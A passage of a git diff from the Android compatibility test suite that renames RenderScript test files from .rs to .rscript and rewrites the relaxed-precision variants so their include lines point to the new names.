+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestSin.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincosRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincosRelaxed.rs
deleted file mode 100644
index 8a90dea..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincosRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestSincos.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincosRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincosRelaxed.rscript
new file mode 100644
index 0000000..413d0b1
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincosRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestSincos.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinhRelaxed.rs
deleted file mode 100644
index e85bda0..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestSinh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinhRelaxed.rscript
new file mode 100644
index 0000000..c85df8e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestSinh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpiRelaxed.rs
deleted file mode 100644
index 11b6f58..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestSinpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpiRelaxed.rscript
new file mode 100644
index 0000000..cf4af62
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestSinpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrtRelaxed.rs
deleted file mode 100644
index 63ac6d3..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestSqrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrtRelaxed.rscript
new file mode 100644
index 0000000..bc3cd9e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestSqrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStepRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStepRelaxed.rs
deleted file mode 100644
index 0033811..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStepRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestStep.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStepRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStepRelaxed.rscript
new file mode 100644
index 0000000..5544496
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStepRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestStep.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanRelaxed.rs
deleted file mode 100644
index 3d10116..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestTan.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanRelaxed.rscript
new file mode 100644
index 0000000..75b9618
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestTan.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanhRelaxed.rs
deleted file mode 100644
index ad5676e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestTanh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanhRelaxed.rscript
new file mode 100644
index 0000000..366e0bf
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestTanh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpiRelaxed.rs
deleted file mode 100644
index c1484bb..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestTanpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpiRelaxed.rscript
new file mode 100644
index 0000000..fbf4499
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestTanpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgammaRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgammaRelaxed.rs
deleted file mode 100644
index 911d7fc..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgammaRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestTgamma.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgammaRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgammaRelaxed.rscript
new file mode 100644
index 0000000..2119b59
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgammaRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestTgamma.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTruncRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTruncRelaxed.rs
deleted file mode 100644
index 7105b22..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTruncRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestTrunc.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTruncRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTruncRelaxed.rscript
new file mode 100644
index 0000000..15d2d6e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTruncRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestTrunc.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/get_allocation.rs b/tests/tests/renderscript/src/android/renderscript/cts/get_allocation.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/get_allocation.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/get_allocation.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x.rs b/tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x_y.rs b/tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x_y.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x_y.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/get_element_at_x_y.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/getset.rs b/tests/tests/renderscript/src/android/renderscript/cts/getset.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/getset.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/getset.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/getset_relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/getset_relaxed.rs
deleted file mode 100644
index 6b62faf..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/getset_relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
- /*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#pragma rs_fp_relaxed
-
-#include "getset.rs"
-
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/getset_relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/getset_relaxed.rscript
new file mode 100644
index 0000000..5b3724b
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/getset_relaxed.rscript
@@ -0,0 +1,20 @@
+ /*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma rs_fp_relaxed
+
+#include "getset.rscript"
+
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/global_sync.rs b/tests/tests/renderscript/src/android/renderscript/cts/global_sync.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/global_sync.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/global_sync.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/group1.rs b/tests/tests/renderscript/src/android/renderscript/cts/group1.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/group1.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/group1.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/group2.rs b/tests/tests/renderscript/src/android/renderscript/cts/group2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/group2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/group2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/increment.rs b/tests/tests/renderscript/src/android/renderscript/cts/increment.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/increment.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/increment.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/init_test.rs b/tests/tests/renderscript/src/android/renderscript/cts/init_test.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/init_test.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/init_test.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/instance.rs b/tests/tests/renderscript/src/android/renderscript/cts/instance.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/instance.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/instance.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_3dlut.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_3dlut.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_3dlut.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_3dlut.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_blur.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_blur.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_blur.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_blur.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_colormatrix.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_colormatrix.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_colormatrix.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_colormatrix.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve3x3.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve3x3.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve3x3.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve3x3.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve5x5.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve5x5.rscript
similarity index 100%
